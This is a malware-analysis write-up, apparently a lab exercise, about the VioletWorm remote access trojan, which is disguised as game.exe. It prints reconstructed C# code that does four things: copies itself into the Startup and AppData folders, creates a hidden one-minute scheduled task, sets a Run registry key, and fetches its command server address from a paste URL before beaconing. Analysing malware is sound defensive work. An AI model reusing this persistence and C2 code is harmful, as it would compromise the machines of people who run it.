Remote Access Trojan · Worm · Dropper
VioletWorm - game.exe
- Author
- Moise Medici
- Updated
- 07 Sept 2026 · Completed
- Difficulty
- Easy
- Platform
- Capabilities
- Tags
Class FCLHYIYQnSe: Main Entrypoint
This is the entry point of the sample. It is recognized by the [STAThread] label after the class header, and it is also where “Go To Entry Point” leads when right clicking on any label or folder that is part of the sample.
Since a bit of the usual obfuscation is present here as well, the reconstructed code is used below. The first function, renamed as Main, is mostly about persistence. It starts by creating the mutex and copying itself into the startup directory and into %APPDATA%, which is covered by the first try/catch block and the three lines below. The second block runs the command schtask.exe /create /f /sc minute /mo 1 /tn sample.exe /tr dst, creating a scheduled task with the following parameters:
/F: forcefully create/sc minute: schedule frequency expressed in minutes/mo 1: the frequency value of 1 (minute)/tn sample.exe: task name with the value “sample.exe”; note that this value is just an example used instead of a placeholder, the real sample uses its own file name/tr dst: the executable to run, withdstbeing the variable used in the code to hold the path of the copy the sample made in%APPDATA%.
The next try block registers the %APPDATA% path of the sample under SOFTWARE\Microsoft\Windows\CurrentVersion\Run so that it runs at startup. Then, if the PasteURL constant holds a value, it is used to contact the server it points to and retrieve another IP address and port, which replace EncodedConstants.IPAddress and EncodedConstants.Port.
[STAThread]public static void Main(){ Thread.Sleep(1000); DesktopsOperations.SetProcessDpiAware(); if (!Helpers.CreateMutex()) Environment.Exit(0);
try { string p = Environment.GetFolderPath(SpecialFolder.Startup) + "\\" + Path.GetFileName(self); File.Copy(self, p); new FileInfo(p).Attributes = FileAttributes.Normal; } catch { }
string appdata = Environ("appdata"); string dst = appdata + "\\" + Path.GetFileName(self); try { File.Copy(self, dst); } catch { }
try { Process.Start(new ProcessStartInfo("schtasks.exe") { WindowStyle = ProcessWindowStyle.Hidden, Arguments = "/create /f /sc minute /mo 1 /tn \"" + Path.GetFileNameWithoutExtension(self) + "\" /tr \"" + dst + "\"" }).WaitForExit(); } catch { }
try { Registry.CurrentUser .OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true) .SetValue(Path.GetFileNameWithoutExtension(self), dst); File.Copy(self, dst); } catch { }
if (EncodedConstants.UsePasteUrl) { try { ServicePointManager.SecurityProtocol = Tls | Tls11 | Tls12; var req = (HttpWebRequest)WebRequest.Create(EncodedConstants.PasteUrl); req.Method = "GET"; req.UserAgent = "Mozilla/5.0"; foreach (string line in ReadLines(req.GetResponse())) { if (!string.IsNullOrWhiteSpace(line) && line.Contains(":")) { var parts = line.Split(new[]{':'}, 2); EncodedConstants.IpAddress = parts[0].Trim(); EncodedConstants.Port = parts[1].Trim(); } } } catch (Exception ex) { MessageBox.Show(ex.Message); } }
var t = new Thread(BeaconLoop); t.Start(); t.Join();}The last part of the function calls BeaconLoop, which cleans up and reinitialises the connection whenever it has been reset.
private static void BeaconLoop(){ while (true) { Thread.Sleep(new Random().Next(1000, 5000)); if (!SocketManager.ConnectionTimer) { SocketManager.SocketCleanup(); SocketManager.SocketInit(); } SocketManager.manualResetEvent.WaitOne(); }}